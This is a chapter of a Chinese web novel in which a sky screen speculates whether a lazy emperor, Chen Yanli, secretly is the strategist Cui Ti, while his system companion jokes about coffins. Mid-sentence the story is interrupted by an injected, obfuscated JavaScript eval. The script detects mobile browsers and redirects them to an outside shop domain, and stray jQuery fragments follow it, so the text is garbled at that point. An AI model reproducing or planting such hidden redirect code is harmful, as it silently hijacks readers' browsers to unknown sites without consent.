这一句话砸下来,满朝文武无一不觉得头晕目眩。
崔瑅住在宫里?一个外男,一个没有官职的布衣谋士,住在皇帝的后宫里?还一点消息都没漏出来?
这怎么可能?!
三位摄政王更是觉得不可能,这绝对不可能。
皇城那是多少双眼睛在盯着的地方?
禁军三班倒,太监宫女满地走,各宫各院都有值守的时辰和簿子,一个大活人住在宫里,怎么可能没人发现?
这回不止是晋王跟誉王了,就连一向神经大条的怀王都跟着皱起了眉头。
他倒不是突然变心细了,而是天幕说的这事儿实在太过离谱!
一个成年男子在他们眼皮子底下住了不知多久,他们三个摄政王居然跟瞎子似的?
他忍不住走到晋王跟誉王的身边,压低了嗓门,小声蛐蛐道:“什么意思?天幕在暗示崔瑅就是咱们家小堂弟?”
誉王忍不住高看了他一眼。
怪不得都说这粗神经的人直觉准呢,他和二哥琢磨了半天的东西,怀王居然一眼就看出来了。
他先头就是这个怀疑,只是一直没敢说出口。
毕竟这事儿实在太荒唐了,荒唐到他怕说出来被两个兄弟笑话他疑心病又犯了。
晋王也有点傻眼了。
他本以为自家小堂弟顶多是在外头交了朋友,跟崔瑅暗通款曲、里应外合,两个人联手瞒着他们搞了点事情。可他从来没把这两个身份往同一个人身上想过啊!
一个是看着长大的、连奏折都懒得批的小堂弟,一个是他这辈子最敬重的谋士——这怎么可能是一个人?
他攥着笏板的手松了又紧,紧了又松,脸上黑沉沉的,活像是大白天见着了鬼。
反倒是陈彦鲤松了口气。
天幕帮他圆回来了,虽然他也不知道天幕怎么忽然又替他找补了,但管他呢,只要不掉马,怎么都行。
真棒!
系统凉飕飕地发话了:[宿主,不要高兴得太早,你往下头看看。]
陈彦鲤往下一看,刚松下来的那口气又猛地提了回去。
好家伙,他那三个好堂哥正虎视眈眈、摩拳擦掌地看着他呢!
那眯起的眼睛,那扬起的嘴角,那微微狰狞的表情。
那不是明晃晃的告诉他,他们现在集体怀疑起他陈彦鲤跟他崔瑅的关系了吗!
陈彦鲤后背一阵发凉,在心里疯狂呼叫系统:“统,这是什么情况?天幕不是说了吗?不是帮我圆回来了吗?”
系统:[……]
系统:[宿主,请摆正你的位置。你是吉祥物皇帝。你难不成真觉得你的皇城是你一个人的皇城?]
陈彦鲤愣住了。
对,对啊,他是谁?整个大梁王朝最没存在感的皇帝啊!
他的皇城能是他一个人的皇城?
在这个当口,天幕说他在宫里藏了个这么多年,没人知道的大活人,这谁能信?谁能不多心啊!
陈彦鲤只觉得眼前一黑,差点当场厥过去。
【看诸位的反应,是不是已经猜到那个方向去了?】
【对咯!孝宗皇帝这么个大事管不了、小事不用管的性子,那皇城能都是他的人吗?那是早就被各家眼线布成筛子了!】
【在这种四处透风的环境下,他能在皇城里藏一个大活人,还能藏得人尽不知?别逗了!就是小皇帝私底下养只猫,过不了三天都能被人把花色报出来。】
【一个成年男子,住在宫里,吃穿用度一样不少,还能瞒得滴水不漏——这似乎,只有一种解释。】
陈彦鲤抓紧了怀里的布娃娃,手指头掐进棉花里,掐得指节泛白。
“统!帮帮我!”他在心里疯狂尖叫。
系统早已放弃挣扎,顺便也劝陈彦鲤一道儿放弃挣扎算了:[系统商城已打开,今日推荐:特色棺材。有紫檀镶玉的,有金丝楠木的,还有一款限量的雕龙画凤款,宿主需要哪一种?]
陈彦鲤:“……”
还没等他在心里给自己写好墓志铭,天幕的声音忽然又拐了个弯。
【当然了,这不过是出自于野史的推论。】
【而在正史里头,孝宗皇帝和崔瑅,那就是八竿子打不着的两个人。】
满朝文武:“……”
不是,您刚才论证了大半天,把时间线、行军路线、崔家药膳全摆出来了,就差把“孝宗就是崔瑅”这六个字写在天上了,现在又来一句“八竿子打不着”?
您听听您这话说的,他像话吗!
天幕像是听到了满朝文武心里头的吐槽,语气忽然变得促狭起来。
【诸位别急啊。野史之所以是野史,就是因为它没有铁证。刚才咱说的所有东西,说到底都是推测,推测不能当定论。】
【您总不能因为两个人作息规律像,就说他们是同一个人吧?那全京城属鸡的都一个点儿起,您能说他们都是一个人吗?】
【正史里头为什么一直界定孝宗和崔瑅是两个人呢?因为有一道翻不过去的铁门槛——体格。】
天幕上的画面再次变化,左侧是孝宗皇帝的画像,右侧是崔瑅的画像。两幅画像并排挂着,形体差异一目了然。
【孝宗皇帝什么体格?打从登基那天起,能躺绝不坐,能坐绝不站,最大的运动量是从龙椅走到御膳房。虽然不怎么生病吧,但那小身板,说好听点叫清瘦,说难听点就是一根竹竿上顶了个脑袋。】
底下的文武百官有人没忍住咳了一声,又迅速把咳嗽憋了回去。
【崔瑅什么体格?咱刚给列位看过画像了。那叫一个弱不禁风,病骨支离,一看就是娘胎里带出来的弱症,走两步路都得停下来喘口气。这两位站一块儿,一个虽然瘦但是健康,一个瘦得一看就有病——您说,这能是一个人吗?】
陈彦鲤愣住了。
天幕方才信誓旦旦地论证了半天孝宗就是崔瑅,现在又主动替他找补,说体格对不上。
这是什么操作?
他还没想明白,系统已经在他脑子里发出了一声意味深长的电流音。
[皮套自带体格调整。你的孝宗本体和崔瑅皮套,体格数据差了整整两档。后世拿画像做对比,当然对不上。]
陈彦鲤:“……”
所以天幕不是良心发现主动替他找补,而是真的被皮套的体格差异给骗过去了?
他一时不知道该庆幸系统的皮套做得够精细,还是该后怕了。
系统适时补了一句:[宿主,还要看棺材吗?现在下单可以打八折。]
陈彦鲤:“……谢谢,不需要。”
天幕顿了顿,这才笑眯眯的继续说道——
【所以说啊,正史派和野史派为这事儿掐了好几百年。正史派说:体格对不上,不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17696648|207993||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是一个人。野史派说:除了体格,哪哪都对得上。】
【到最后两派各退一步,达成了一个相对都能接受的结论——皇帝是皇帝,崔瑅是崔瑅。但皇帝和崔瑅之间,一定有一个中间人。】
天幕故意顿了顿。
【这个人,既能在皇帝面前说得上话,又能在崔瑅面前递得上信;既能出入宫禁不受限制,又对崔瑅的所有决策了如指掌。而且,这个人他必须得姓崔。】
满朝文武的目光齐刷刷地从御座上移开,落到了还跪着的那个身影上。
崔珩。算来算去的,也只能是他了。
原本就是小皇帝钦点的户部尚书,又是崔瑅的亲兄长,他不是这个中间人,还能有谁是?
晋王似乎也认同满朝文武的想法,他皱了皱眉,低声对二人道:“体格确实对不上。小堂弟虽然瘦,但没病成那样。”
怀王点了点头:“那崔瑅的画像,一看就是打娘胎里带出来的弱症。小堂弟虽然懒,但身体确实没出过什么问题。”
誉王沉默了片刻,缓缓道:“那……中间人可能是谁?”
众人正盼着天幕继续往下说,好歹把这前因后果掰扯个明白。
谁料那天幕忽然轻咳了一声,语气里带上了三分歉意七分敷衍——
【当然了,这些事情嘛,说来话长。今儿个时候不早了,就先说到这儿吧。】
【诸位且线回去好好琢磨琢磨,等明儿个咱们接着说,这位中间人,它究竟存不存在。】
话音未落,只见这金光一敛,裂隙一合,方才还遮天蔽日的黑云眨眼间散得无影无踪,露出瓦蓝瓦蓝的一片天来。
大梁的平头老百姓们倒是全都听了尽兴。
精彩!可太精彩了!这不比外头花上三五文钱才能听一耳朵的说书有趣多了?
朝堂上那些弯弯绕绕的大事他们是听不大明白的,可架不住这天幕说的还有八卦啊!
天幕说崔家出了一对玉璧。
他们是听不懂那什么“一门双璧”的文绉绉说法,可话里头的意思他们听懂了。
崔家拢共出了两个人才。
一个让军队吃饱了饭、穿暖了衣,他们听着就跟着高兴。
谁家还没出过几个军汉呢?自家男人、自家儿子在北境的风雪里头戍边,吃不饱穿不暖,当爹娘的在家哪能睡得安稳?
有人能让那些当兵的吃饱肚子,那就是天大的好人。
另一个想把军队的银子拢归国库,让百姓往后遇上灾荒不必卖儿卖女,能有个依仗,他们听着也跟着高兴。
天灾这东西虽说是怨不得朝廷,可谁乐意过苦日子呢?能不卖孩子就熬过荒年,那就是天大的好事啊!
至于那崔瑅跟小皇帝到底是什么关系——天高皇帝远的,谁在乎呢?
一时间,甭管是街头巷尾还是田间地头,甭管彼此认识与否,都凑在一起热火朝天地聊了起来。
有人说崔家到底是哪一家,怎么从前没听说过京城还有这么一户人家?
有人说崔珩和崔瑅兄弟俩亲不亲近,一个在朝堂上当貔貅一个行走民间当谋士,逢年过节见不见得上一面?
还有几个媒婆模样的妇人凑在一块儿嘀嘀咕咕,说也不知道谁家的姑娘有那般福气,能被请去给这样的人家做主妇。
热闹得很。
唯一还算得上安静的,也就是如今太极殿了。